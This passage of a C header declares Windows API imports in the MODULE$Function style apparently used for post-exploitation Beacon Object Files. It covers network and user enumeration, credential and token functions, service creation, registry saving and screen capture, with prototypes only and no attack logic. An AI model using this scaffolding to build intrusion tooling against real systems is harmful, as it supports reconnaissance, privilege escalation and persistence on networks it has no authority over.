_FileHandleDst);\nWINBASEAPI int __cdecl MSVCRT$_open_osfhandle(intptr_t _OSFileHandle, int _Flags);\nWINBASEAPI int __cdecl MSVCRT$_fileno(FILE* _Stream);\nWINBASEAPI int __cdecl MSVCRT$setvbuf(FILE* _Stream, char* _Buffer, int _Mode, size_t _Size);\nWINBASEAPI int __cdecl MSVCRT$_close(int _FileHandle);\nWINBASEAPI int __cdecl MSVCRT$_flushall(void);\nWINBASEAPI errno_t __cdecl MSVCRT$freopen_s (FILE** stream, const char* fileName, const char* mode, FILE* oldStream);\nWINBASEAPI FILE* __cdecl MSVCRT$__iob_func();\nWINBASEAPI int __cdecl MSVCRT$fseek(FILE *stream, long offset, int origin);\nWINBASEAPI FILE *__cdecl MSVCRT$fopen(const char *filename, const char *mode);\nWINBASEAPI size_t __cdecl MSVCRT$fread(void *buffer, size_t size, size_t count, FILE *stream);\nWINBASEAPI int __cdecl MSVCRT$fclose(FILE *stream);\nWINBASEAPI int __cdecl MSVCRT$swscanf_s(const wchar_t *buffer, const wchar_t *format, ...);\n_CRTIMP uintptr_t __cdecl MSVCRT$_beginthreadex(void *_Security,unsigned _StackSize,_beginthreadex_proc_type _StartAddress,void *_ArgList,unsigned _InitFlag,unsigned *_ThrdAddr);\n_CRTIMP void __cdecl MSVCRT$_endthreadex(unsigned _Retval);\n\n//DNSAPI\nDECLSPEC_IMPORT DNS_STATUS WINAPI DNSAPI$DnsQuery_A(PCSTR,WORD,DWORD,PIP4_ARRAY,PDNS_RECORD*,PVOID*);\nDECLSPEC_IMPORT VOID WINAPI DNSAPI$DnsFree(PVOID pData,DNS_FREE_TYPE FreeType);\n\n//WSOCK32\nDECLSPEC_IMPORT unsigned long __stdcall WSOCK32$inet_addr(const char *cp);\n\n//NETAPI32\nWINBASEAPI DWORD WINAPI NETAPI32$DsGetDcNameA(LPVOID, LPVOID, LPVOID, LPVOID, ULONG, LPVOID);\nWINBASEAPI DWORD WINAPI NETAPI32$NetUserGetInfo(LPCWSTR servername,LPCWSTR username,DWORD level,LPBYTE *bufptr);\nWINBASEAPI DWORD WINAPI NETAPI32$NetUserModalsGet(LPCWSTR servername,DWORD level,LPBYTE *bufptr);\nWINBASEAPI DWORD WINAPI NETAPI32$NetServerEnum(LMCSTR servername,DWORD level,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries,DWORD servertype,LMCSTR domain,LPDWORD resume_handle);\nWINBASEAPI DWORD WINAPI NETAPI32$NetUserGetGroups(LPCWSTR servername,LPCWSTR username,DWORD level,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries);\nWINBASEAPI DWORD WINAPI NETAPI32$NetUserGetLocalGroups(LPCWSTR servername,LPCWSTR username,DWORD level,DWORD flags,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries);\nWINBASEAPI DWORD WINAPI NETAPI32$NetApiBufferFree(LPVOID Buffer);\nWINBASEAPI DWORD WINAPI NETAPI32$NetGetAnyDCName(LPCWSTR servername,LPCWSTR domainname,LPBYTE *bufptr);\nWINBASEAPI DWORD WINAPI NETAPI32$NetUserEnum(LPCWSTR servername,DWORD level,DWORD filter,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries,LPDWORD resume_handle);\nWINBASEAPI DWORD WINAPI NETAPI32$NetGroupGetUsers(LPCWSTR servername,LPCWSTR groupname,DWORD level,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries,PDWORD_PTR ResumeHandle);\nWINBASEAPI DWORD WINAPI NETAPI32$NetQueryDisplayInformation(LPCWSTR ServerName,DWORD Level,DWORD Index,DWORD EntriesRequested,DWORD PreferredMaximumLength,LPDWORD ReturnedEntryCount,PVOID *SortedBuffer);\nWINBASEAPI DWORD WINAPI NETAPI32$NetLocalGroupEnum(LPCWSTR servername,DWORD level,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries,PDWORD_PTR resumehandle);\nWINBASEAPI DWORD WINAPI NETAPI32$NetLocalGroupGetMembers(LPCWSTR servername,LPCWSTR localgroupname,DWORD level,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries,PDWORD_PTR resumehandle);\nWINBASEAPI DWORD WINAPI NETAPI32$NetUserSetInfo(LPCWSTR servername,LPCWSTR username,DWORD level,LPBYTE buf,LPDWORD parm_err);\nWINBASEAPI DWORD WINAPI NETAPI32$NetShareEnum(LMSTR servername,DWORD level,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries,LPDWORD resume_handle);\nWINBASEAPI DWORD WINAPI NETAPI32$NetApiBufferFree(LPVOID Buffer);\nWINBASEAPI DWORD WINAPI NETAPI32$NetSessionEnum(LPCWSTR servername, LPCWSTR UncClientName, LPCWSTR username, DWORD level, LPBYTE* bufptr, DWORD prefmaxlen, LPDWORD entriesread, LPDWORD totalentries, LPDWORD resumehandle);\nWINBASEAPI DWORD WINAPI NETAPI32$NetWkstaUserEnum(LMSTR servername,DWORD level,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries,LPDWORD resumehandle);\nWINBASEAPI DWORD WINAPI NETAPI32$NetWkstaGetInfo(LMSTR servername,DWORD level,LPBYTE *bufptr);\nWINBASEAPI DWORD WINAPI NETAPI32$NetStatisticsGet(LMSTR server,LMSTR service,DWORD level,DWORD options,LPBYTE *bufptr);\nWINBASEAPI DWORD WINAPI NETAPI32$NetRemoteTOD(LPCWSTR UncServerName,LPBYTE  *BufferPtr);\nWINBASEAPI DWORD WINAPI NETAPI32$DsGetDcNameW(LPCWSTR ComputerName,LPCWSTR DomainName,GUID *DomainGuid,LPCWSTR SiteName,ULONG Flags,PDOMAIN_CONTROLLER_INFOW* DomainControllerInfo);\nWINBASEAPI DWORD WINAPI NETAPI32$NetLocalGroupAddMembers(LPCWSTR servername,LPCWSTR groupname,DWORD level,LPBYTE buf,DWORD totalentries);\nWINBASEAPI DWORD WINAPI NETAPI32$NetGroupAddUser(LPCWSTR servername,LPCWSTR GroupName,LPCWSTR userName);\nWINBASEAPI DWORD WINAPI NETAPI32$NetUserAdd(LPCWSTR servername, DWORD level, LPBYTE buf, LPDWORD parm_err);\n\n//mpr\nWINBASEAPI DWORD WINAPI MPR$WNetOpenEnumW(DWORD dwScope, DWORD dwType, DWORD dwUsage, LPNETRESOURCEW lpNetResource, LPHANDLE lphEnum);\nWINBASEAPI DWORD WINAPI MPR$WNetEnumResourceW(HANDLE hEnum, LPDWORD lpcCount, LPVOID lpBuffer, LPDWORD lpBufferSize);\nWINBASEAPI DWORD WINAPI MPR$WNetCloseEnum(HANDLE hEnum);\nWINBASEAPI DWORD WINAPI MPR$WNetGetNetworkInformationW(LPCWSTR lpProvider, LPNETINFOSTRUCT lpNetInfoStruct);\nWINBASEAPI DWORD WINAPI MPR$WNetGetConnectionW(LPCWSTR lpLocalName, LPWSTR lpRemoteName, LPDWORD lpnLength);\nWINBASEAPI DWORD WINAPI MPR$WNetGetResourceInformationW(LPNETRESOURCEW lpNetResource, LPVOID lpBuffer, LPDWORD lpcbBuffer, LPWSTR *lplpSystem);\nWINBASEAPI DWORD WINAPI MPR$WNetGetUserW(LPCWSTR lpName, LPWSTR lpUserName,\tLPDWORD lpnLength);\nWINBASEAPI DWORD WINAPI MPR$WNetAddConnection2W(LPNETRESOURCEW lpNetResource, LPCWSTR lpPassword, LPCWSTR lpUserName, DWORD dwFlags);\nWINBASEAPI DWORD WINAPI MPR$WNetCancelConnection2W(LPCWSTR lpName, DWORD dwFlags, BOOL fForce);\n\n//user32\nWINUSERAPI int      WINAPI USER32$EnumDesktopWindows(HDESK hDesktop,WNDENUMPROC lpfn,LPARAM lParam);\nWINUSERAPI int      WINAPI USER32$IsWindowVisible (HWND hWnd);\nWINUSERAPI int      WINAPI USER32$GetWindowTextA(HWND hWnd,LPSTR lpString,int nMaxCount);\nWINUSERAPI int      WINAPI USER32$GetClassNameA(HWND hWnd,LPSTR lpClassName,int nMaxCount);\nWINUSERAPI LPWSTR   WINAPI USER32$CharPrevW(LPCWSTR lpszStart,LPCWSTR lpszCurrent);\nWINUSERAPI HWND     WINAPI USER32$FindWindowExA (HWND hWndParent, HWND hWndChildAfter, LPCSTR lpszClass, LPCSTR lpszWindow);\nWINUSERAPI LRESULT  WINAPI USER32$SendMessageA (HWND hwnd, UINT Msg, WPARAM wParam, LPARAM lParam);\nWINUSERAPI int      WINAPI USER32$GetWindowTextA(HWND  hWnd, LPSTR lpString, int nMaxCount);\nWINUSERAPI int      WINAPI USER32$GetClassNameA(HWND hWnd, LPTSTR lpClassName, int nMaxCount);\nWINUSERAPI BOOL     WINAPI USER32$EnumChildWindows(HWND hWndParent, WNDENUMPROC lpEnumFunc, LPARAM lParam);\nWINBASEAPI WINBOOL  WINAPI USER32$GetLastInputInfo (PLASTINPUTINFO plii);\nWINUSERAPI BOOL     WINAPI USER32$ShowWindow(HWND hWnd, int nCmdShow);\nWINUSERAPI int      WINAPI USER32$MessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);\nWINUSERAPI int      WINAPI USER32$wsprintfA(LPSTR unnamedParam1, LPCSTR unnamedParam2, ...);\nWINUSERAPI WINBOOL  WINAPI USER32$EnumWindows(WNDENUMPROC lpEnumFunc,LPARAM lParam);\nWINUSERAPI HWND     WINAPI USER32$FindWindowA(LPCSTR lpszClass,LPCSTR lpszWindow);\nWINUSERAPI HANDLE   WINAPI USER32$GetPropA(HWND hWnd,LPCSTR lpString);\nWINUSERAPI LONG     WINAPI USER32$GetWindowLongA(HWND hWnd,int nIndex);\nWINUSERAPI LONG_PTR WINAPI USER32$GetWindowLongPtrA(HWND hWnd,int nIndex);\nWINUSERAPI DWORD    WINAPI USER32$GetWindowThreadProcessId(HWND hWnd,LPDWORD lpdwProcessId);\nWINUSERAPI BOOL     WINAPI USER32$SetPropA(HWND hWnd,LPCSTR lpString,HANDLE hData);\nWINUSERAPI LONG     WINAPI USER32$SetWindowLongA(HWND hWnd,int nIndex, LONG dwNewLong);\nWINUSERAPI LONG_PTR WINAPI USER32$SetWindowLongPtrA(HWND hWnd,int nIndex, LONG_PTR dwNewLong);\nWINUSERAPI LRESULT  WINAPI USER32$SendMessageTimeoutW(HWND hWnd,UINT Msg,WPARAM wParam,LPARAM lParam,UINT fuFlags,UINT uTimeout,PDWORD_PTR lpdwResult);\nWINUSERAPI WINBOOL  WINAPI USER32$PostMessageA(HWND hWnd,UINT Msg,WPARAM wParam,LPARAM lParam);\nWINUSERAPI HDC      WINAPI USER32$GetDC(HWND hWnd);\nWINUSERAPI int      WINAPI USER32$ReleaseDC(HWND hWnd, HDC hdc);\nWINUSERAPI BOOL     WINAPI USER32$PrintWindow(HWND hwnd, HDC hdcBlt, UINT nFlags);\nWINUSERAPI BOOL     WINAPI USER32$SetLayeredWindowAttributes(HWND hWnd, COLORREF crKey, BYTE bAlpha, DWORD dwFlags);\nWINUSERAPI BOOL     WINAPI USER32$UpdateWindow(HWND hWnd);\nWINUSERAPI BOOL     WINAPI USER32$GetWindowRect(HWND hWnd, LPRECT lpRect);\nWINUSERAPI BOOL     WINAPI USER32$GetWindowPlacement(HWND hWnd, WINDOWPLACEMENT* lpwndpl);\nWINUSERAPI int      WINAPI USER32$GetSystemMetrics(int nIndex);\nWINUSERAPI BOOL     WINAPI USER32$SetWindowPos(HWND hWnd, HWND hWndInsertAfter, int X, int Y, int cx, int cy, UINT uFlags);\nWINUSERAPI BOOL     WINAPI USER32$SetProcessDPIAware(void);\n\n//GDI32\nDECLSPEC_IMPORT BOOL    WINAPI GDI32$DeleteDC(HDC hdc);\nDECLSPEC_IMPORT HDC     WINAPI GDI32$CreateCompatibleDC(HDC hdc);\nDECLSPEC_IMPORT HBITMAP WINAPI GDI32$CreateCompatibleBitmap(HDC hdc, int nWidth, int nHeight);\nDECLSPEC_IMPORT HGDIOBJ WINAPI GDI32$SelectObject(HDC hdc, HGDIOBJ hgdiobj);\nDECLSPEC_IMPORT BOOL    WINAPI GDI32$BitBlt(HDC hdcDest, int nXDest, int nYDest, int nWidth, int nHeight, HDC hdcSrc, int nXSrc, int nYSrc, DWORD dwRop);\nDECLSPEC_IMPORT BOOL    WINAPI GDI32$DeleteObject(HGDIOBJ hObject);\n\n//OLE32 Stream\nDECLSPEC_IMPORT HRESULT WINAPI OLE32$CreateStreamOnHGlobal(HGLOBAL hGlobal, BOOL fDeleteOnRelease, LPSTREAM *ppstm);\n\n//secur32\nWINBASEAPI BOOLEAN WINAPI SECUR32$GetUserNameExA (int NameFormat, LPSTR lpNameBuffer, PULONG nSize);\nWINBASEAPI BOOLEAN WINAPI SECUR32$GetUserNameExW(int NameFormat, LPWSTR lpNameBuffer, PULONG nSize);\nWINBASEAPI BOOLEAN WINAPI SECUR32$GetComputerObjectNameW (int NameFormat, LPWSTR lpNameBuffer, PULONG nSize);\nWINBASEAPI NTSTATUS NTAPI SECUR32$LsaGetLogonSessionData(PLUID LogonId,PSECURITY_LOGON_SESSION_DATA *ppLogonSessionData);\nWINBASEAPI NTSTATUS NTAPI SECUR32$LsaFreeReturnBuffer (PVOID Buffer);\nWINBASEAPI SECURITY_STATUS WINAPI SECUR32$FreeCredentialsHandle(CredHandle* phCredential);\nWINBASEAPI DWORD WINAPI SECUR32$AcquireCredentialsHandleA(LPSTR pszPrincipal, LPSTR pszPackage, unsigned long fCredentialUse, void* pvLogonId, void* pAuthData, void* pGetKeyFn, void* pvGetKeyArgument, CredHandle* phCredential, TimeStamp* ptsExpiry);\nWINBASEAPI DWORD WINAPI SECUR32$InitializeSecurityContextA(CredHandle* phCredential, CtxtHandle* phContext, SEC_CHAR* pszTargetName, unsigned long fContextReq, unsigned long Reserved1, unsigned long TargetDataRep, SecBufferDesc* pInput, unsigned long Reserved2, CtxtHandle* phNewContext, SecBufferDesc* pOutput, unsigned long* pfContextAttr, TimeStamp* ptsExpiry);\nWINBASEAPI DWORD WINAPI SECUR32$InitializeSecurityContextW(CredHandle* phCredential, CtxtHandle* phContext, SEC_WCHAR* pszTargetName, unsigned long fContextReq, unsigned long Reserved1, unsigned long TargetDataRep, SecBufferDesc* pInput, unsigned long Reserved2, CtxtHandle* phNewContext, SecBufferDesc* pOutput, unsigned long* pfContextAttr, TimeStamp* ptsExpiry);\nWINBASEAPI DWORD WINAPI SECUR32$AcceptSecurityContext(CredHandle* phCredential, CtxtHandle* phContext, SecBufferDesc* pInput, unsigned long fContextReq, unsigned long TargetDataRep, CtxtHandle* phNewContext, SecBufferDesc* pOutput, unsigned long* pfContextAttr, TimeStamp* ptsExpiry);\nWINBASEAPI SECURITY_STATUS WINAPI SECUR32$DeleteSecurityContext(CtxtHandle* phContext);\nWINBASEAPI DWORD WINAPI SECUR32$LsaConnectUntrusted(PHANDLE);\nWINBASEAPI NTSTATUS NTAPI SECUR32$LsaDeregisterLogonProcess(HANDLE LsaHandle);\nWINBASEAPI DWORD WINAPI SECUR32$LsaLookupAuthenticationPackage(HANDLE, PLSA_STRING, PULONG);\nWINBASEAPI DWORD WINAPI SECUR32$LsaCallAuthenticationPackage(HANDLE, ULONG, PVOID, ULONG, PVOID*, PULONG, PNTSTATUS);\nWINBASEAPI SECURITY_STATUS WINAPI SECUR32$AcquireCredentialsHandleW(LPWSTR, LPWSTR, ULONG, PLUID, PVOID, PVOID, PVOID, PCredHandle, PTimeStamp);\nWINBASEAPI SECURITY_STATUS WINAPI SECUR32$QueryContextAttributesW(PCtxtHandle, ULONG, PVOID);\nWINBASEAPI SECURITY_STATUS WINAPI SECUR32$EncryptMessage(PCtxtHandle, ULONG, PSecBufferDesc, ULONG);\nWINBASEAPI SECURITY_STATUS WINAPI SECUR32$DecryptMessage(PCtxtHandle, PSecBufferDesc, ULONG, PULONG);\nWINBASEAPI SECURITY_STATUS WINAPI SECUR32$FreeContextBuffer(PVOID);\n\n//SHLWAPI\nWINBASEAPI LPSTR  WINAPI SHLWAPI$StrStrIA(LPCSTR lpFirst,LPCSTR lpSrch);\nWINBASEAPI int    WINAPI SHLWAPI$SHFormatDateTimeA(const FILETIME *pft, DWORD *pdwFlags, LPSTR *pszBuf, UINT cchBuf);\nWINBASEAPI LPWSTR WINAPI SHLWAPI$PathCombineW(LPWSTR pszDest, LPCWSTR pszDir, LPCWSTR pszFile);\nWINBASEAPI BOOL   WINAPI SHLWAPI$PathFileExistsW(LPCWSTR pszPath);\nWINBASEAPI LPSTR  WINAPI SHLWAPI$StrStrA(LPCSTR lpFirst,LPCSTR lpSrch);\nWINBASEAPI BOOL   WINAPI SHLWAPI$PathFileExistsA(LPCSTR pszPath);\n\n//advapi32\nWINADVAPI WINBOOL WINAPI ADVAPI32$OpenProcessToken (HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle);\nWINADVAPI WINBOOL WINAPI ADVAPI32$GetTokenInformation (HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, LPVOID TokenInformation, DWORD TokenInformationLength, PDWORD ReturnLength);\nWINADVAPI WINBOOL WINAPI ADVAPI32$ConvertSidToStringSidA(PSID Sid,LPSTR *StringSid);\nWINADVAPI WINBOOL WINAPI ADVAPI32$ConvertStringSecurityDescriptorToSecurityDescriptorW(LPCWSTR StringSecurityDescriptor,DWORD StringSDRevision,PSECURITY_DESCRIPTOR *SecurityDescriptor,PULONG SecurityDescriptorSize);\nWINADVAPI WINBOOL WINAPI ADVAPI32$LookupAccountSidA (LPCSTR lpSystemName, PSID Sid, LPSTR Name, LPDWORD cchName, LPSTR ReferencedDomainName, LPDWORD cchReferencedDomainName, PSID_NAME_USE peUse);\nWINADVAPI WINBOOL WINAPI ADVAPI32$LookupAccountSidW (LPCWSTR lpSystemName, PSID Sid, LPWSTR Name, LPDWORD cchName, LPWSTR ReferencedDomainName, LPDWORD cchReferencedDomainName, PSID_NAME_USE peUse);\nWINADVAPI WINBOOL WINAPI ADVAPI32$LookupPrivilegeNameA (LPCSTR lpSystemName, PLUID lpLuid, LPSTR lpName, LPDWORD cchName);\nWINADVAPI WINBOOL WINAPI ADVAPI32$LookupPrivilegeDisplayNameA (LPCSTR lpSystemName, LPCSTR lpName, LPSTR lpDisplayName, LPDWORD cchDisplayName, LPDWORD lpLanguageId);\nWINADVAPI SC_HANDLE WINAPI ADVAPI32$OpenSCManagerA(LPCSTR lpMachineName,LPCSTR lpDatabaseName,DWORD dwDesiredAccess);\nWINADVAPI SC_HANDLE WINAPI ADVAPI32$OpenServiceA(SC_HANDLE hSCManager,LPCSTR lpServiceName,DWORD dwDesiredAccess);\nWINADVAPI WINBOOL WINAPI ADVAPI32$QueryServiceStatus(SC_HANDLE hService,LPSERVICE_STATUS lpServiceStatus);\nWINADVAPI WINBOOL WINAPI ADVAPI32$QueryServiceConfigA(SC_HANDLE hService,LPQUERY_SERVICE_CONFIGA lpServiceConfig,DWORD cbBufSize,LPDWORD pcbBytesNeeded);\nWINADVAPI WINBOOL WINAPI ADVAPI32$CloseServiceHandle(SC_HANDLE hSCObject);\nWINADVAPI WINBOOL WINAPI ADVAPI32$EnumServicesStatusExA(SC_HANDLE hSCManager,SC_ENUM_TYPE InfoLevel,DWORD dwServiceType,DWORD dwServiceState,LPBYTE lpServices,DWORD cbBufSize,LPDWORD pcbBytesNeeded,LPDWORD lpServicesReturned,LPDWORD lpResumeHandle,LPCSTR pszGroupName);\nWINADVAPI WINBOOL WINAPI ADVAPI32$QueryServiceStatusEx(SC_HANDLE hService,SC_STATUS_TYPE InfoLevel,LPBYTE lpBuffer,DWORD cbBufSize,LPDWORD pcbBytesNeeded);\nWINADVAPI WINBOOL WINAPI ADVAPI32$QueryServiceConfig2A(SC_HANDLE hService,DWORD dwInfoLevel,LPBYTE lpBuffer,DWORD cbBufSize,LPDWORD pcbBytesNeeded);\nWINADVAPI WINBOOL WINAPI ADVAPI32$ChangeServiceConfig2A(SC_HANDLE hService,DWORD dwInfoLevel,LPVOID lpInfo);\nWINADVAPI WINBOOL WINAPI ADVAPI32$ChangeServiceConfigA(SC_HANDLE hService,DWORD dwServiceType,DWORD dwStartType,DWORD dwErrorControl,LPCSTR lpBinaryPathName,LPCSTR lpLoadOrderGroup,LPDWORD lpdwTagId,LPCSTR lpDependencies,LPCSTR lpServiceStartName,LPCSTR lpPassword,LPCSTR lpDisplayName);\nWINADVAPI SC_HANDLE WINAPI ADVAPI32$CreateServiceA(SC_HANDLE hSCManager,LPCSTR lpServiceName,LPCSTR lpDisplayName,DWORD dwDesiredAccess,DWORD dwServiceType,DWORD dwStartType,DWORD dwErrorControl,LPCSTR lpBinaryPathName,LPCSTR lpLoadOrderGroup,LPDWORD lpdwTagId,LPCSTR lpDependencies,LPCSTR lpServiceStartName,LPCSTR lpPassword);\nWINADVAPI WINBOOL WINAPI ADVAPI32$DeleteService(SC_HANDLE hService);\nWINADVAPI LONG    WINAPI ADVAPI32$RegOpenKeyExW(HKEY hKey,LPCWSTR lpSubKey,DWORD ulOptions,REGSAM samDesired,PHKEY phkResult);\nWINADVAPI WINBOOL WINAPI ADVAPI32$EnumServicesStatusExW(SC_HANDLE hSCManager,SC_ENUM_TYPE InfoLevel,DWORD dwServiceType,DWORD dwServiceState,LPBYTE lpServices,DWORD cbBufSize,LPDWORD pcbBytesNeeded,LPDWORD lpServicesReturned,LPDWORD lpResumeHandle,LPCWSTR pszGroupName);\nWINADVAPI LONG    WINAPI ADVAPI32$RegCreateKeyA(HKEY hKey,LPCSTR lpSubKey,PHKEY phkResult);\nWINADVAPI LONG    WINAPI ADVAPI32$RegSetValueExA(HKEY hKey,LPCSTR lpValueName,DWORD Reserved,DWORD dwType,CONST BYTE *lpData,DWORD cbData);\nWINADVAPI LONG    WINAPI ADVAPI32$RegOpenKeyExA(HKEY hKey,LPCSTR lpSubKey,DWORD ulOptions,REGSAM samDesired,PHKEY phkResult);\nWINADVAPI LONG    WINAPI ADVAPI32$RegConnectRegistryA(LPCSTR lpMachineName,HKEY hKey,PHKEY phkResult);\nWINADVAPI LONG    WINAPI ADVAPI32$RegCloseKey(HKEY hKey);\nWINADVAPI LONG    WINAPI ADVAPI32$RegOpenKeyA(HKEY hKey,LPCSTR lpSubKey,PHKEY phkResult);\nWINADVAPI LONG    WINAPI ADVAPI32$RegCreateKeyExA(HKEY hKey,LPCSTR lpSubKey,DWORD Reserved,LPSTR lpClass,DWORD dwOptions,REGSAM samDesired,LPSECURITY_ATTRIBUTES lpSecurityAttributes,PHKEY phkResult,LPDWORD lpdwDisposition);\nWINADVAPI LONG    WINAPI ADVAPI32$RegDeleteKeyExA(HKEY hKey,LPCSTR lpSubKey,REGSAM samDesired,DWORD Reserved);\nWINADVAPI LONG    WINAPI ADVAPI32$RegDeleteKeyValueA(HKEY hKey,LPCSTR lpSubKey,LPCSTR lpValueName);\nWINADVAPI LONG    WINAPI ADVAPI32$RegQueryValueExA(HKEY hKey,LPCSTR lpValueName,LPDWORD lpReserved,LPDWORD lpType,LPBYTE lpData,LPDWORD lpcbData);\nWINADVAPI LONG    WINAPI ADVAPI32$RegQueryInfoKeyA(HKEY hKey,LPSTR lpClass,LPDWORD lpcchClass,LPDWORD lpReserved,LPDWORD lpcSubKeys,LPDWORD lpcbMaxSubKeyLen,LPDWORD lpcbMaxClassLen,LPDWORD lpcValues,LPDWORD lpcbMaxValueNameLen,LPDWORD lpcbMaxValueLen,LPDWORD lpcbSecurityDescriptor,PFILETIME lpftLastWriteTime);\nWINADVAPI LONG    WINAPI ADVAPI32$RegEnumValueA(HKEY hKey,DWORD dwIndex,LPSTR lpValueName,LPDWORD lpcchValueName,LPDWORD lpReserved,LPDWORD lpType,LPBYTE lpData,LPDWORD lpcbData);\nWINADVAPI LONG    WINAPI ADVAPI32$RegEnumKeyExA(HKEY hKey,DWORD dwIndex,LPSTR lpName,LPDWORD lpcchName,LPDWORD lpReserved,LPSTR lpClass,LPDWORD lpcchClass,PFILETIME lpftLastWriteTime);\nWINADVAPI LONG    WINAPI ADVAPI32$RegEnumKeyExW(HKEY hKey,DWORD dwIndex,LPWSTR lpName,LPDWORD lpcchName,LPDWORD lpReserved,LPWSTR lpClass,LPDWORD lpcchClass,PFILETIME lpftLastWriteTime);\nWINADVAPI LONG    WINAPI ADVAPI32$RegEnumValueW(HKEY hKey,DWORD dwIndex,LPWSTR lpValueName,LPDWORD lpcchValueName,LPDWORD lpReserved,LPDWORD lpType,LPBYTE lpData,LPDWORD lpcbData);\nWINADVAPI LONG    WINAPI ADVAPI32$RegDeleteValueA(HKEY hKey,LPCSTR lpValueName);\nWINADVAPI LONG    WINAPI ADVAPI32$RegQueryValueExW(HKEY hKey,LPCWSTR lpValueName,LPDWORD lpReserved,LPDWORD lpType,LPBYTE lpData,LPDWORD lpcbData);\nWINADVAPI LONG    WINAPI ADVAPI32$RegSaveKeyExA(HKEY hKey,LPCSTR lpFile,LPSECURITY_ATTRIBUTES lpSecurityAttributes,DWORD Flags);\nWINADVAPI WINBOOL WINAPI ADVAPI32$GetFileSecurityW (LPCWSTR lpFileName, SECURITY_INFORMATION RequestedInformation, PSECURITY_DESCRIPTOR pSecurityDescriptor, DWORD nLength, LPDWORD lpnLengthNeeded);\nWINADVAPI WINBOOL WINAPI ADVAPI32$GetSecurityDescriptorOwner (PSECURITY_DESCRIPTOR pSecurityDescriptor, PSID *pOwner, LPBOOL lpbOwnerDefaulted);\nWINADVAPI WINBOOL WINAPI ADVAPI32$GetSecurityDescriptorDacl (PSECURITY_DESCRIPTOR pSecurityDescriptor, LPBOOL lpbDaclPresent, PACL *pDacl, LPBOOL lpbDaclDefaulted);\nWINADVAPI WINBOOL WINAPI ADVAPI32$GetAclInformation (PACL pAcl, LPVOID pAclInformation, DWORD nAclInformationLength, ACL_INFORMATION_CLASS dwAclInformationClass);\nWINADVAPI WINBOOL WINAPI ADVAPI32$GetAce (PACL pAcl, DWORD dwAceIndex, LPVOID *pAce);\nWINADVAPI WINBOOL WINAPI ADVAPI32$LookupAccountSidW (LPCWSTR lpSystemName, PSID Sid, LPWSTR Name, LPDWORD cchName, LPWSTR ReferencedDomainName, LPDWORD cchReferencedDomainName, PSID_NAME_USE peUse);\nWINADVAPI WINBOOL WINAPI ADVAPI32$ConvertSidToStringSidW(PSID Sid,LPWSTR *StringSid);\nWINADVAPI VOID    WINAPI ADVAPI32$MapGenericMask (PDWORD AccessMask, PGENERIC_MAPPING GenericMapping);\nWINADVAPI WINBOOL WINAPI ADVAPI32$OpenProcessToken (HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle);\nWINADVAPI WINBOOL WINAPI ADVAPI32$GetTokenInformation (HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, LPVOID TokenInformation, DWORD TokenInformationLength, PDWORD ReturnLength);\nWINADVAPI WINBOOL WINAPI ADVAPI32$InitializeSecurityDescriptor (PSECURITY_DESCRIPTOR pSecurityDescriptor, DWORD dwRevision);\nWINADVAPI WINBOOL WINAPI ADVAPI32$SetSecurityDescriptorDacl (PSECURITY_DESCRIPTOR pSecurityDescriptor, WINBOOL bDaclPresent, PACL pDacl, WINBOOL bDaclDefaulted);\nWINADVAPI WINBOOL WINAPI ADVAPI32$ConvertSecurityDescriptorToStringSecurityDescriptorW(PSECURITY_DESCRIPTOR SecurityDescriptor,DWORD RequestedStringSDRevision,SECURITY_INFORMATION SecurityInformation,LPWSTR *StringSecurityDescriptor,PULONG StringSecurityDescriptorLen);\nWINADVAPI WINBOOL WINAPI ADVAPI32$StartServiceA(SC_HANDLE hService,DWORD dwNumServiceArgs,LPCSTR *lpServiceArgVectors);\nWINADVAPI WINBOOL WINAPI ADVAPI32$ControlService(SC_HANDLE hService,DWORD dwControl,LPSERVICE_STATUS lpServiceStatus);\nWINADVAPI WINBOOL WINAPI ADVAPI32$EnumDependentServicesA(SC_HANDLE hService,DWORD dwServiceState,LPENUM_SERVICE_STATUSA lpServices,DWORD cbBufSize,LPDWORD pcbBytesNeeded,LPDWORD lpServicesReturned);\nWINADVAPI LSTATUS WINAPI ADVAPI32$RegQueryInfoKeyA(HKEY hKey, LPSTR lpClass, LPDWORD lpcchClass, LPDWORD lpReserved, LPDWORD lpcSubKeys, LPDWORD lpcbMaxSubKeyLen, LPDWORD lpcbMaxClassLen, LPDWORD lpcValues, LPDWORD lpcbMaxValueNameLen, LPDWORD lpcbMaxValueLen, LPDWORD lpcbSecurityDescriptor, PFILETIME lpftLastWriteTime);\nWINADVAPI WINBOOL WINAPI ADVAPI32$LookupPrivilegeValueW(LPCWSTR lpSystemName, LPCWSTR lpName, PLUID lpLuid);\nWINADVAPI WINBOOL WINAPI ADVAPI32$LookupPrivilegeValueA(LPCSTR lpSystemName, LPCSTR lpName, PLUID lpLuid);\nWINADVAPI WINBOOL WINAPI ADVAPI32$AdjustTokenPrivileges(HANDLE TokenHandle, WINBOOL DisableAllPrivileges, PTOKEN_PRIVILEGES NewState, DWORD BufferLength, PTOKEN_PRIVILEGES PreviousState, PDWORD ReturnLength);\nWINADVAPI WINBOOL WINAPI ADVAPI32$OpenThreadToken(HANDLE ThreadHandle, DWORD DesiredAccess, WINBOOL OpenAsSelf, PHANDLE TokenHandle);\nWINADVAPI WINBOOL WINAPI ADVAPI32$DuplicateToken(HANDLE ExistingTokenHandle, SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, PHANDLE DuplicateTokenHandle);\nWINADVAPI WINBOOL WINAPI ADVAPI32$DuplicateTokenEx(HANDLE hExistingToken, DWORD dwDesiredAccess, LPSECURITY_ATTRIBUTES lpTokenAttributes, 